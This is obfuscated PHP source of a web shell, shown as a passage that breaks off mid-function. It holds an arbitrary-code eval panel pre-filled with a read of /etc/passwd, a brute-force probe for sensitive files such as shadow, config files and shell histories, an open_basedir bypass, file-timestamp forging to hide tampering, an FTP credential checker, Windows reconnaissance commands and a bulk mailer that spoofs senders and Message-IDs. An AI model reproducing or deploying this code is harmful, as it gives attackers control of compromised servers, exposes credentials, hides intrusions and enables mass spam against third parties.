@ini_alter("allow_url_fopen", 1); @ini_alter("memory_limit", "256M"); @ini_alter("upload_max_filesize", "256M"); @ini_alter("register_globals", 0); @ini_alter("magic_quotes_sybase", 0); @ini_alter("magic_quotes_runtime", 0); @ini_alter("magic_quotes_gpc", 0); @ini_alter("open_basedir", NULL); } goto kNdTQ; U528d: function z9s($k, $w = '', $u = 0) { global $lang; $l = z7x(2, "language"); $r = ''; if (!isset($lang[$l][$k])) { return "?"; } $r = $lang[$l][$k]; if ($w !== '') { if (@is_array($w)) { for ($i = 0; $i < @count($w); $i++) { if (@isset($w[$i])) { $r = @str_replace("[%" . ($i + 1) . "%]", $w[$i], $r); } } } else { $r = @str_replace("[%1%]", $w, $r); } } return $u ? @strtoupper($r) : $r; } goto ulfL5; ycJ39: function z8w($a, $t = '', $u = 0) { return ($u ? z7z() : z9l($t)) . z3e($a); } goto ddbED; AD_9D: if ($act == "eval") { if (!@isset($evalsubmit)) { $eval_txt = 1; } elseif (!@isset($eval_txt)) { $eval_txt = 0; } echo z2b(z9s("182")) . z6d(); echo z10e(z7i(z6x(z5c(array("act" => "eval", "d", "evalsubmit" => "1"), z5w("eval", "1") . (@isset($eval) ? @htmlspecialchars($eval) : "//readfile("/etc/passwd");" . "\xd\xa") . z5q() . z9x() . z5x("left", "3") . z8v(z9s("183"), "7", "9") . z5y("eval_txt", z9s("184"), "eval_txt") . z5j()))) . z5n(), "2"); if (@isset($evalsubmit) && $evalsubmit) { $eval = @isset($eval) ? $eval : ''; if (!@empty($eval)) { $eval_result = ''; $tmp = @ob_get_contents(); $olddir = @realpath(".") || @getcwd(); @chdir($d); if ($tmp) { @ob_clean(); eval($eval); $ret = @ob_get_contents(); $ret = @convert_cyr_string($ret, "d", "w"); @ob_clean(); echo $tmp; if ($eval_txt) { $eval_result = @htmlspecialchars($ret); } else { $eval_result = $ret; } } else { if ($eval_txt) { $eval_result = @eval($eval); } else { $eval_result = $ret; } } @chdir($olddir); } if ($eval_txt) { echo z10e(z7i(z6x(z5w('', "1", 1) . (@isset($eval_result) ? $eval_result : '') . z5q())) . z5n(), "2"); } else { echo $eval_result; } } } goto Ah6IX; LRlIH: if (($act == "dfunc" || $act == "f") && (@isset($st1) && $st1 || @isset($st2) && $st2)) { if ($act == "dfunc") { $touch = $d; } else { $touch = $f; } if (@isset($st2) && $st2 && !@empty($touch) && z4q($touch) && @isset($tmonth) && !@empty($tmonth) && @isset($tday) && !@empty($tday) && @isset($tyear) && !@empty($tyear) && @isset($thour) && !@empty($thour) && @isset($tmin) && !@empty($tmin) && @isset($tsec) && !@empty($tsec)) { $sdate = $tday . " " . $tmonth . " " . $tyear . " " . $thour . " hours " . $tmin . " minutes " . $tsec . " seconds"; $tdate = @strtotime($sdate); if (@touch($touch, $tdate, $tdate)) { $tmsg = z9s("113", @date("M-d-Y H:i:s", $tdate)); } else { $tmsg = z9s("114"); } } if (@isset($st1) && $st1 && z4q($touch) && @isset($copy_from) && !@empty($copy_from) && z4q($copy_from)) { if (@touch($touch, @filemtime($copy_from), @filemtime($copy_from))) { $tmsg = z9s("113", @date("M-d-Y H:i:s", @filemtime($copy_from))); } else { $tmsg = z9s("114"); } } } goto SvJId; yjFZv: function z6x($i, $c = '', $s = '') { return z6w($c, $s) . $i . z7g(); } goto Lg8u5; NCd7A: function z7z() { return "<form method="POST" action="" enctype="multipart/form-data">"; } goto mFupx; rspvC: function z6i($n, $v, $c = '', $o = '', $s = '') { return "<input type="text" name="" . $n . "" value="" . z8x($v) . """ . ($c != '' ? " class="" . z4m($c, "4") . """ : '') . ($s != '' ? " " . (@is_numeric($s) ? z10t($s) : $s) : '') . ($o != '' ? z9k() : '') . ">"; } goto rmdaf; yh282: function z6w($c = '', $s = '') { return z5l("center", $c, $s); } goto fSYfL; vhO0t: $bmssql = z7r("mssql_connect"); goto RAsCn; hD0OD: function z2q($file) { if (!z4e($file)) { return false; } $me = z9p(__FILE__); if (!$me) { return false; } return z9y($file, $me); } goto HWJSP; aFLRi: function z3s($dir) { if (z7r("realpath")) { global $win, $safeDirArr; $chars_rlph = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $presets_rlph = array("index.php", ".htaccess", ".htpasswd", "httpd.conf", "vhosts.conf", "cfg.php", "config.php", "config.inc.php", "config.default.php", "config.inc.php", "shadow", "passwd", ".bash_history", ".mysql_history", "master.passwd", "user", "admin", "password", "administrator", "phpMyAdmin", "security", "php.ini", "cdrom", "root", "my.cnf", "pureftpd.conf", "proftpd.conf", "ftpd.conf", "resolv.conf", "login.conf", "smb.conf", "sysctl.conf", "syslog.conf", "access.conf", "accounting.log", "home", "htdocs", "access", "auth", "error", "backup", "data", "back", "sysconfig", "phpbb", "phpbb2", "vbulletin", "vbullet", "phpnuke", "cgi-bin", "html", "robots.txt", "billing"); if (!$dir) { $dir = "/etc/"; } $end_rlph = ''; $n_rlph = "3"; $c = 0; $safeDirArr = array(); $rlpArr = array(); $error_reporting = @ini_get("error_reporting"); @error_reporting(E_WARNING); @ini_set("display_errors", 1); @set_error_handler("z0e"); if ($realpath = realpath($dir . "/")) { echo $realpath . "
\xa"; } if ($end_rlph != '' && ($realpath = realpath($dir . "/" . $end_rlph))) { echo $realpath . "\xd
"; $rlpArr[] = $realpath; } foreach ($presets_rlph as $preset_rlph) { if ($realpath = realpath($dir . "/" . $preset_rlph . $end_rlph)) { echo $realpath . "
\xa"; $rlpArr[] = $realpath; } } for ($i = 0; $i < strlen($chars_rlph); $i++) { if ($realpath = realpath($dir . "/{$chars_rlph[$i]}" . $end_rlph)) { echo $realpath . "\xd
"; $rlpArr[] = $realpath; } if ($n_rlph <= 1) { continue; } for ($j = 0; $j < strlen($chars_rlph); $j++) { if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}" . $end_rlph)) { echo $realpath . "\xd\xa"; $rlpArr[] = $realpath; } if ($n_rlph <= 2) { continue; } for ($x = 0; $x < strlen($chars_rlph); $x++) { if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}" . $end_rlph)) { echo $realpath . "
"; $rlpArr[] = $realpath; } if ($n_rlph <= 3) { continue; } for ($y = 0; $y < strlen($chars_rlph); $y++) { if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}" . $end_rlph)) { echo $realpath . "\xd
"; $rlpArr[] = $realpath; } if ($n_rlph <= 4) { continue; } for ($z = 0; $z < strlen($chars_rlph); $z++) { if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}" . $end_rlph)) { echo $realpath . "\xd
"; $rlpArr[] = $realpath; } if ($n_rlph <= 5) { continue; } for ($w = 0; $w < strlen($chars_rlph); $w++) { if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}" . $end_rlph)) { echo $realpath . "\xd
"; $rlpArr[] = $realpath; } } } } } } } $safeDirArr = @array_unique($safeDirArr); foreach ($safeDirArr as $item) { if (!@in_array($item, $rlpArr)) { echo @htmlspecialchars($item) . "\xd
"; } } @error_reporting($error_reporting); } } goto vuKbf; nHnTd: function z2k($h) { $l = @strlen($h); $r = "Unknown"; if ($l === 32) { if (z3z($h)) { $r = "MD5 / MD4 / MD2 / NTLM / Tiger128 / SNEFRU128 / RipeMD128 / Haval128_3 / Haval128_4 / Haval128_5 / Domain Cached Credentials"; } elseif (@preg_match("/^[0-9A-F]+$/", $h)) { $r = "Windows-LM / Windows-NTLM / RC4"; } elseif (@preg_match("/^[0-9a-zA-Z+\/.]+$/", $h)) { $r = "Haval192 (Base64) / Tiger-192 (Base64)"; } } elseif ($l === 40) { if (z3z($h)) { $r = "SHA-0 / SHA-1 / Tiger160 / RipeMD160 / MySQL v5.x / Haval160 / Haval160_3 / Haval160_4 / Haval160_5"; } } elseif ($l === 8) { if (z3z($h)) { $r = "ADLER32 / CRC-32 / CRC-32B / GHash-32-3 / GHash-32-3"; } } elseif ($l === 13) { if (@preg_match("/^[0-9a-zA-Z\/.]$/", $h)) { $r = "DES (Unix)"; } } elseif ($l === 16) { if (z3z($h)) { $r = "MySQL"; } } elseif ($l === 4) { if (z3z($h)) { $r = "CRC-16 / CRC-16-CCITT / FCS-16"; } } elseif ($l === 34) { if (@preg_match("/^\$1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/", $h)) { $r = "MD5 (Unix)"; } elseif (@preg_match("/^\$P\$B[0-9a-zA-Z\/.]$/", $h)) { $r = "MD5(WordPress)"; } elseif (@preg_match("/^\$H\$9[0-9a-zA-Z\/.]$/", $h)) { $r = "MD5(PhpBB3)"; } } elseif ($l === 128) { if (z3z($h)) { $r = "SHA-512 / WHIRLPOOL / SALSA20"; } } elseif ($l === 96) { if (z3z($h)) { $r = "SHA-384"; } } elseif ($l === 48) { if (z3z($h)) { $r = "Haval192 / Haval192_4 / Haval192_5 / Tiger192 / Tiger2 / SALSA10"; } } elseif ($l === 56) { if (z3z($h)) { $r = "Haval224 / Haval244_3 / Haval244_4 / SHA224"; } if (z1b($h)) { $r = "RipeMD320 (Base64)"; } } elseif ($l === 64) { if (z3z($h)) { $r = "SNEFRU256 / SHA-256 / RipeMD256 / Panama / Haval256 / Haval256_3 / Haval256_4 / Haval256_5"; } elseif (@preg_match("/^[0-9a-zA-Z+\/.]+$/", $h)) { $r = "SHA384 (Base64)"; } } elseif ($l === 37) { if (@preg_match("/^\$apr1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/", $h)) { $r = "MD5 (APR)"; } } elseif ($l === 80) { if (z3z($h)) { $r = "RipeMD320"; } } elseif ($l === 24) { if (z1b($h)) { $r = "Haval128 (Base64) / MD2 (Base64) / MD4 (Base64) / MD5 (Base64) / RipeMD128 (Base64) / SNEFRU128 (Base64) / Tiger128 (Base64)"; } } elseif ($l === 28) { if (@preg_match("/^[0-9a-zA-Z+\/.]+=$/", $h)) { $r = "SHA-1 (Base64) / Haval160 (Base64) / RipeMD160 (Base64) / Tiger160 (Base64)"; } } elseif ($l === 44) { if (@preg_match("/^[0-9a-zA-Z+\/.]+=$/", $h)) { $r = "Haval256 (Base64) / RipeMD256 (Base64) / SHA256 (Base64) / SNEFRU256 (Base64)"; } } elseif ($l === 88) { if (z1b($h)) { $r = "SHA512 (Base64) / WHIRLPOOL (Base64)"; } } elseif ($l === 9) { if (@is_numeric($h)) { $r = "Elf-32"; } } return $r; } goto LN03a; VUgE4: function z1p($p) { $r = ''; for ($i = 0; $i < @strlen($p); ++$i) { $r .= @sprintf("%02X", @ord($p[$i])); } return @strtoupper($r); } goto oh0uF; GyRyH: $test_cmd = z9t("echo z_testexec"); goto ViGlf; f6Quo: $cuser = z5k(); goto urrSR; Ajw35: $b_buf = array("bpastecopy", "bpastecut", "bpasteall"); goto xYCKC; BxBhi: $winaliases = array('' => "dir", "- show open ports" => "netstat -nat", "- running programs" => "tasklist -v", "- running services" => "net start", "- show users" => "net user", "- show computers" => "net view", "- arp table" => "arp -a", "- ip config" => "ipconfig /all", "- mac address" => "getmac", "- systeminfo" => "systeminfo", "- file associations" => "assoc"); goto hTgtR; W5F2W: function z4x($f) { $a = z4s($f); $o = array("code", "text"); if (@count($a) > 0) { if (@count($a) > 1) { foreach ($a as $ft) { if (@in_array($ft, $o)) { return $ft; } } return $a[0]; } else { return $a[0]; } } else { return ''; } } goto AEvWB; O7cyY: function z1s($type) { return "<input type="submit" class="" . ($type == "d" ? "idimg" : "ifimg") . "" value=" ">"; } goto OBXWt; g2v73: function z9k() { return " onfocus="this.select();" onmouseover="this.select();" onmouseout="this.select();""; } goto m3Iuh; qgHsQ: function z10w() { return "</table>" . "\xa"; } goto eC9G4; w1s_i: $_SESSION["use_images"] = $use_images; goto S8mJj; ztzx9: function z6z($a = '', $c = '', $s = '') { return "<table cellpadding="0" cellspacing="0" border="0"" . ($a != '' ? " align="" . $a . """ : '') . ($c != '' ? " class="" . z4m($c, "0") . """ : '') . ($s != '' ? z10t($s) : '') . ">" . "
"; } goto duiW_; DKbqu: function z5g($s, $eol = "\xa", $d = ",", $e = """, $esc = "\") { $r = array(); if (@strstr($s, $eol)) { $p = @explode($eol, $s); foreach ($p as $l) { if (!@empty($l)) { $r[] = z8y($l, $d, $e, $esc); } } } else { $r[] = z8y($s, $d, $e, $esc); } return $r; } goto AS7b2; gBOwL: $bfsock = z7r("fsockopen"); goto JtPmn; ddbED: function z5c($a, $i, $t = '') { return z8w($a, $t) . $i . z9z(); } goto egxpU; wEoeY: function z4p($t) { return z6y($t, "nw"); } goto eZm70; a68en: $boracle = z7r("ocilogon"); goto lv7_L; ccX5v: function z3a($u) { $s = @curl_init(); @curl_setopt($s, CURLOPT_URL, $u); @curl_setopt($s, CURLOPT_USERAGENT, z7x("2", "downloada")); @curl_setopt($s, CURLOPT_RETURNTRANSFER, true); $r = @curl_exec($s); @curl_close($s); return $r; } goto RnUJw; BE1bq: function z5l($a = '', $c = '', $s = '') { return "<td" . ($a != '' ? " align="" . $a . """ : '') . ($c != '' ? " class="" . z4m($c, "2") . """ : '') . ($s != '' ? z10t($s) : '') . ">" . "
"; } goto S6J5Y; XO1Lg: function z0x() { $encode_functions = array(); foreach (array("z3t" => "Strings", "urlencode" => "Urlencode", "urldecode" => "Urldecode", "z0y" => "Full Urlencode", "rawurlencode" => "Rawurlencode", "rawurldecode" => "Rawurldecode", "base64_encode" => "Base64 Encode", "z4v" => "Base64 Encode + Chunk", "z3m" => "Base64 Encode + Chunk + Quotes", "base64_decode" => "Base64 Decode", "z1p" => "ASCII to HEX", "z0z" => "ASCII to HEX + Chunk", "z0l" => "HEX to ASCII", "z_hexdec" => "HEX to DEC", "z3u" => "HEX to BIN", "dechex" => "DEC to HEX", "decbin" => "DEC to BIN", "z4o" => "BIN to HEX", "bindec" => "BIN to DEC", "strtolower" => "String to lowercase", "strtoupper" => "String to UPPERCASE", "htmlspecialchars" => "Htmlspecialchars", "strlen" => "String Length", "strrev" => "Reverse String") as $key => $val) { if (z7r($key) || z7r(@substr($key, 0, @strlen($key) - 1))) { $encode_functions[$key] = "{$val}"; } } return $encode_functions; } goto lWHbw; tsXTw: z9u(); goto U528d; Y7GQE: function z3h($host, $user, $pass, $port, $timeout) { $ftp = @ftp_connect($host, $port, $timeout); if (!$ftp) { return "failed"; } else { if (@ftp_login($ftp, $user, $pass)) { return "valid"; } else { return "invalid"; } @ftp_close($ftp); } } goto c6sfM; HpxPY: function z3j($f) { return z2r($f, "L"); } goto jA3qO; e5RW2: if ($act == "encoders") { $hash_algos = array('' => z9s("260")); if (!@isset($hash_input)) { $hash_input = ''; } if (z7r("hash_algos") && @z7r("hash")) { $hfnc = 1; $hashes = @hash_algos(); } else { $hfnc = 0; $hashes = array(); foreach (array("md5", "sha1", "crc32") as $hh) { if (z7r($hh)) { $hashes[] = $hh; } } } foreach ($hashes as $ha) { $hash_algos[$ha] = $ha; } $encode_functions = z0x(); $submited = 0; if (@isset($submit_encode) && $submit_encode && @isset($encoder_input) && !@empty($encoder_input)) { $submited = 1; } $encoder_output = ''; if (!@isset($ip_input) || @empty($ip_input)) { $ip_input = $saddr; } echo z2b(array(z9s("246"), z9s("253")), "46"); echo z9m(2) . z7p() . z7k('', "4") . z6d() . z9m("2") . z9l('', "hash_form") . z9b("act", "encoders") . z9b("d") . z9b("htype", "1") . z7i(z5t(z9s("247")) . z9j(z5u("hashinput", '', "5") . z8v(z9s("248"), "7") . z8m(z9s("250"), "document.hash_form.hashinput.value='';", "7"))) . z9z() . z10w(); if (@isset($htype) && $htype) { echo z10e(z9f(z5t(z9s("251")) . z9j(z5w('', "6") . z2k($hashinput) . z5q())), "2"); } echo z7g() . z7k('', "46") . z6d() . z9m("2") . z9l('', "ip_form") . z9b("act", "encoders") . z9b("d") . z9b("submit_ip", "1") . z7i(z5t(z9s("254")) . z9j(z6i("ip_input", @htmlspecialchars($ip_input), "5") . z8v(z9s("248"), "7") . z8m(z9s("250"), "document.ip_form.ip_input.value='';", "7"))) . z9z() . z10w(); if (@isset($submit_ip) && $submit_ip == "1" && @isset($ip_input) && !@empty($ip_input)) { echo z9m("2") . z7i(z5t(z9s("255")) . z9j(z8h(sprintf("%u", @ip2long($ip_input)), "0") . z9c() . z10y("http://" . @sprintf("%u", @ip2long($ip_input)) . "/", z9s("252"), "1", 1))) . z7i(z5t(z9s("256")) . z9j(z8h(z2n($ip_input) == "failed" ? "failed" : z2n($ip_input), "0") . (z2n($ip_input) == "failed" ? '' : z9c() . z10y("http://" . z2n($ip_input) . "/", z9s("252"), "1", 1)))) . z7i(z5t(z9s("257")) . z9j(z8h(z1h($ip_input) == "failed" ? "failed" : z1h($ip_input), "0") . (z1h($ip_input) == "failed" ? '' : z9c() . z10y("http://" . z1h($ip_input) . "/", z9s("252"), "1", 1)))) . z10w(); } echo z6d(); echo z7g() . z7u() . z10w(); echo z2b(array(z9s("432"), z9s("433")), "46"); echo z9m(2) . z7p() . z7k('', "4") . z6d() . z9m("2") . z9l('', "hashing_form") . z9b("act", "encoders") . z9b("d") . z7i(z5t(z9s("258")) . z9j(z4a("hash_type", $hash_algos, "5", 1) . z8v(z9s("249"), "7") . z8m(z9s("250"), "document.hashing_form.hash_input.value='';", "7"))) . z9f(z5t(z9s("259")) . z9j(z5w("hash_input", "6") . (@isset($hash_input) ? @htmlspecialchars($hash_input) : '') . z5q())) . z9z() . z10w() . z6d() . z7g() . z7k('', "46") . z6d() . z9m("2") . z9l('', "encoder_form") . z9b("d") . z9b("act", "encoders") . z9b("submit_encode", "1") . z7i(z5t(z9s("91")) . z9j(z4a("encode_selected", $encode_functions, "5", 1, '') . z8v(z9s("249"), "7") . z8m(z9s("250"), "document.encoder_form.encoder_input.value='';", "7"))) . z9f(z5t(z9s("259")) . z9j(z5w("encoder_input", "6") . (@isset($encoder_input) ? @htmlspecialchars($encoder_input) : '') . z5q())) . ($submited ? z7i(z5t(z9c()) . z9j(z8m(z9s("263"), "document.output_form.encoder_output.value='';", "7") . z8m(z9s("264"), "document.encoder_form.encoder_input.value=document.output_form.encoder_output.value;", "7"))) : '') . z9z() . z10w() . z6d() . z7g() . z7u() . z10w(); if (@isset($hash_input) && !@empty($hash_input)) { echo z2b(z9s("261")) . z6d(); echo z9m("2"); if (@count($hashes) > 0) { if (@isset($hash_type) && @in_array($hash_type, $hashes)) { echo z7i(z5t($hash_type) . z9j(z8h($hfnc ? @hash($hash_type, $hash_input) : $hash_type($hash_input), "7"))); } else { foreach ($hashes as $k) { echo z7i(z5t($k) . z9j(z8h($hfnc ? @hash($k, $hash_input) : $k($hash_input), "7"))); } } } echo z10w() . z6d(); } if ($submited) { $encoder_output = $encode_selected($encoder_input); echo z2b(z9s("262")) . z6d() . z9m("2") . z9l('', "output_form") . z9f(z6x(z5w("encoder_output", "1") . @htmlspecialchars($encoder_output) . z5q())) . z9z() . z10w() . z6d(); } } goto cBCE9; lw1FN: if (!@isset($act)) { $act = z7x("2", "default_act"); } goto ExSHD; zHT5M: if ($act == "f" && @isset($ft) && ($ft == "extract" || $ft == "extractzip")) { $ff = ''; if (z4q($d . $f)) { $ff = $d . $f; } elseif (z4q($f)) { $d = z3p($f); $f = z2h($f); $ff = $d . $f; } if (@isset($reg_archives) && $reg_archives != '' && @isset($ff)) { if (@preg_match("/\.(" . $reg_archives . ")$/i", $f, $m)) { if (@isset($m[1])) { if ($ft == "extract" && $sh_exec) { switch (@strtolower($m[1])) { case "rar": z9t("unrar x {$ff}"); break; case "zip": z9t("unzip {$ff}"); break; case "tar.bz2": z9t("tar jxf {$ff}"); break; case "tar.gz": z9t("tar zxf {$ff}"); break; case "tgz": z9t("tar zxf {$ff}"); break; case "tar": z9t("tar xf {$ff}"); break; case "gz": z9t("gunzip {$ff}"); break; case "bz2": z9t("bunzip2 {$ff}"); break; default: break; } } elseif ($ft == "extractzip") { echo z2b(z0j($ff, $d) ? z9s("476", $f) : z9s("477", $f), "0"); } } } } $act = "ls"; } goto muTmj; Lp0NC: define("start", z10r()); goto kzLs2; xBqQp: function z2g($used) { return "<div class="" . z4m("4", "3") . ""><div class="" . z4m("5", "3") . "" style="width:" . ($used > 100 ? "100" : $used) . "%;"> </div></div>"; } goto wQer1; Q_zdi: function z2c($dir) { global $win, $safeDirArr; if (z7r("glob")) { $error_reporting = @ini_get("error_reporting"); @error_reporting(E_WARNING); @ini_set("display_errors", 1); $root = "/"; if ($dir) { $root = $dir; } $c = 0; $safeDirArr = array(); @set_error_handler("z0e"); $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; for ($i = 0; $i < @strlen($chars); $i++) { $path = "{$root}" . (@substr($root, -1) != "/" ? "/" : NULL) . "{$chars[$i]}"; $prevD = $safeDirArr[@count($safeDirArr) - 1]; @glob($path . "*"); if ($safeDirArr[@count($safeDirArr) - 1] != $prevD) { for ($j = 0; $j < @strlen($chars); $j++) { $path = "{$root}" . (@substr($root, -1) != "/" ? "/" : NULL) . "{$chars[$i]}{$chars[$j]}"; $prevD2 = $safeDirArr[@count($safeDirArr) - 1]; @glob($path . "*"); if ($safeDirArr[@count($safeDirArr) - 1] != $prevD2) { for ($p = 0; $p < @strlen($chars); $p++) { $path = "{$root}" . (@substr($root, -1) != "/" ? "/" : NULL) . "{$chars[$i]}{$chars[$j]}{$chars[$p]}"; $prevD3 = $safeDirarr[@count($safeDirArr) - 1]; @glob($path . "*"); if ($safeDirArr[@count($safeDirArr) - 1] != $prevD3) { for ($r = 0; $r < @strlen($chars); $r++) { $path = "{$root}" . (@substr($root, -1) != "/" ? "/" : NULL) . "{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; @glob($path . "*"); } } } } } } } $safeDirArr = @array_unique($safeDirArr); foreach ($safeDirArr as $item) { echo @htmlspecialchars("{$item}") . "
"; } @error_reporting($error_reporting); } } goto aFLRi; XKrm6: function z1x($c, $e = '') { $s = ''; global $index; $i = $index; $a = array(); if ($e != '') { foreach ($a as $k => $v) { if (@in_array($e, $v)) { $s = $k; break; } } } if ($s == '') { $s = $e; } if (@in_array($s, array("db", "sql", "pl", "cgi", "c", "cc", "cpp", "h", "hpp", "icl", "ipp"))) { $c = @highlight_string("<?php" . $c . "?>", true); $p1 = @stripos($c, "<?php"); $a = @substr($c, 0, $p1); $b = @substr($c, $p1 + 8); $c = $a . $b; $p2 = @strripos($c, "?>"); $a = @substr($c, 0, $p2); $b = @substr($c, $p2 + 5); $c = $a . $b; } else { $c = @highlight_string($c, true); } $c = @str_replace(array("<font color="", "</font>"), array("<span style="color: ", "</span>"), $c); $c = @preg_replace("/(\r|\n)/", '', $c); echo "<pre><code>" . $c . "</code></pre>"; } goto m1obs; n5eAD: function z1b($h) { return @preg_match("/^[0-9a-zA-Z+\/.]+==$/", $h) ? 1 : 0; } goto nHnTd; jNksq: z0s(); goto zHT5M; SsK4b: function z3w($var, $f) { $val = ''; if (!empty($f)) { $reg = "/\$" . $var . "\s*=\s*(['"]{1})([^\1\s\t\r\n]+)\1\s*;/"; if (@preg_match($reg, $f, $m)) { $val = $m[2]; unset($m); } } unset($f); return $val; } goto pkblD; Ar_vz: if (@function_exists("error_reporting")) { @error_reporting(0); } goto sg7r_; w52oA: function z7e($i, $c = '', $s = '') { return z6q($c, $s) . $i . z7g(); } goto yjFZv; vbtGe: if ($act == "mailer") { $smsg = $cmsg = ''; $s_ok = $c_ok = 0; if (@isset($m1_submit) && $m1_submit) { if (@empty($m1_name) || @empty($m1_from) || @empty($m1_subj) || @empty($m1_msg) || $m1_msg == "message" || @empty($m1_emails) || !@strstr($m1_emails, "@")) { $smsg = " : " . z9s("236"); } else { $s_ok = 1; } } elseif (@isset($m2_submit) && $m2_submit) { if (@empty($m2_name) || @empty($m2_from) || @empty($m2_subj) || @empty($m2_msg) || @empty($m2_csv) || !@preg_match("/"(.*?)"\s*,\s*"(.*?)"/", $m2_csv)) { $cmsg = " : " . z9s("236"); } else { $c_ok = 1; } } if (!@isset($m1_msg) || @empty($m1_msg)) { $m1_msg = "message"; } if (!@isset($m1_emails) || @empty($m1_emails)) { $m1_emails = "e-mails"; } if (!@isset($m2_prefix) || @empty($m2_prefix)) { $m2_prefix = "column_prefix_"; } if (!@isset($m2_ecol) || !@is_numeric($m2_ecol)) { $m2_ecol = "0"; } if (!@isset($m2_msg) || @empty($m2_msg)) { $m2_msg = "Hello " . $m2_prefix . "1,\xd\xa
\xaYour Address: " . $m2_prefix . "2
\xaYour Phone: " . $m2_prefix . "3\xd
\xd\xaE-mail sent to: " . $m2_prefix . "0"; } if (!@isset($m2_csv) || @empty($m2_csv)) { $m2_csv = ""john@email","john","john's address","0123456789"" . "\xd\xa" . ""jane@email","jane","jane's address","9876543210""; } echo z2b(array(z9s("212") . $smsg, z9s("213") . $cmsg), "46"); echo z9m("2") . z7p() . z7k('', "4"); echo z10e(z5n() . z9f(z9j(z10e(z5c(array("act" => "mailer", "d", "m1_submit" => "1"), z7i(z9j(z8e(z9s("214"))) . z7e(z5u("m1_name", '', "7"))) . z7i(z9j(z8e(z9s("215"))) . z7e(z5u("m1_from", '', "7"))) . z7i(z9j(z8e(z9s("216"))) . z7e(z5u("m1_subj", '', "7"))) . z7i(z6c(z5w("m1_msg", "3") . $m1_msg . z5q(), "2")) . z7i(z6c(z5w("m1_emails", "3") . $m1_emails . z5q(), "2")) . z7i(z6c(z10e(z7i(z9j(z8e(z9s("217")) . z5u("m1_str", '', "4")) . z9j(z8e(z9s("218")) . z4a("m1_replace", array('' => z9s("223"), "name" => z9s("224"), "email1" => z9s("225"), "email2" => z9s("226"), "emailhash" => z9s("227")), "4", 1)) . z9j(z8e(z9s("219")) . z4a("m1_where", array("subject" => z9s("228"), "message" => z9s("229"), '' => z9s("230")), "5", 1))), "2"), "2")) . z7i(z6c(z10e(z7i(z9j(z5y("m1_rand1", z9s("231"), "m1_rand1"), '', "4") . z9j(z5y("m1_rand2", z9s("232"), "m1_rand2"), '', "4")), "2"), "2")) . z5n() . z7i(z6c(z8v(z9s("233"), "7") . z5y("m1_preview", z9s("234"), "m1_preview"), "2"))), "2"), "20")) . z5n(), "2"); echo z7g() . z7k('', "46"); echo z10e(z5n() . z9f(z9j(z10e(z5c(array("act" => "mailer", "d", "m2_submit" => "1"), z7i(z9j(z8e(z9s("214"))) . z7e(z5u("m2_name", '', "7"))) . z7i(z9j(z8e(z9s("215"))) . z7e(z5u("m2_from", '', "7"))) . z7i(z9j(z8e(z9s("216"))) . z7e(z5u("m2_subj", '', "7"))) . z7i(z6c(z5w("m2_msg", "3") . $m2_msg . z5q(), "2")) . z7i(z6c(z5w("m2_csv", "3") . $m2_csv . z5q(), "2")) . z7i(z6c(z10e(z7i(z9j(z8e(z9s("220")) . z6i("m2_ecol", $m2_ecol, "6")) . z9j(z8e(z9s("221")) . z5u("m2_prefix", '', "4")) . z9j(z8e(z9s("222")) . z4a("m2_where", array("message" => z9s("229"), '' => z9s("230")), "4", 1))), "2"), "2")) . z7i(z6c(z10e(z7i(z9j(z5y("m2_rand1", z9s("231"), "m2_rand1"), '', "4") . z9j(z5y("m2_rand2", z9s("232"), "m2_rand2"), '', "4")), "2"), "2")) . z5n() . z7i(z6c(z8v(z9s("233"), "7") . z5y("m2_preview", z9s("234"), "m2_preview") . " " . z5y("m2_verbose", z9s("235"), "m2_verbose"), "2"))), "2"), "20")) . z5n(), "2"); echo z7g() . z7u() . z10w(); if ($s_ok || $c_ok) { $host = array("aol.com", "att.net", "bellsouth.net", "comcast.net", "email.com", "gmail.com", "googlemail.com", "hotmail.com", "juno.com", "live.com", "lycos.com", "mail.com", "mindspring.com", "msn.com", "pacbell.com", "post.com", "prodigy.net", "rocketmail.com", "sbcglobal.net", "usa.com", "yahoo.com", "ymail.com"); $ch = @count($host) - 1; $i = 1; $m_success = 0; $m_failed = 0; $all_failed = array(); if ($s_ok) { echo z9m("2") . z7i(z9j(z9s("237"), "8", "2") . z9j(z9s("238"), "8") . z9j(z9s("239"), "8") . z9j(z9s("240"), "8") . z9j(z9s("241"), "8", "3")); $m_all = @explode("
", $m1_emails); $m_all = @array_unique($m_all); $m_count = @count($m_all); $m_len = @strlen($m_count); z5p(); foreach ($m_all as $m_mail) { $from = $m1_from; if (@isset($m1_rand1) && $m1_rand1) { $from = @str_replace("@", @rand(100000, 999999) . "@", $from); } if (isset($m1_rand2) && $m1_rand2) { $hr = @rand(0, $ch); $m_msgid = @md5(@uniqid(@time())) . "@" . $host[$hr]; } else { $m_msgid = @md5(@uniqid(@time())) . "@" . $_SERVER["SERVER_NAME"]; } $header = ''; $header .= "From: {$m1_name} <{$from}>\xa"; $header .= "Reply-To: <{$from}>
"; $header .= "Message-ID: <" . $m_msgid . ">\xa"; $header .= "MIME-Version: 1.0\xa"; $date = @date("Y-m-d"); $header .= "Date: {$date}\xa"; $header .= "Content-Type: text/html; charset=UTF-8
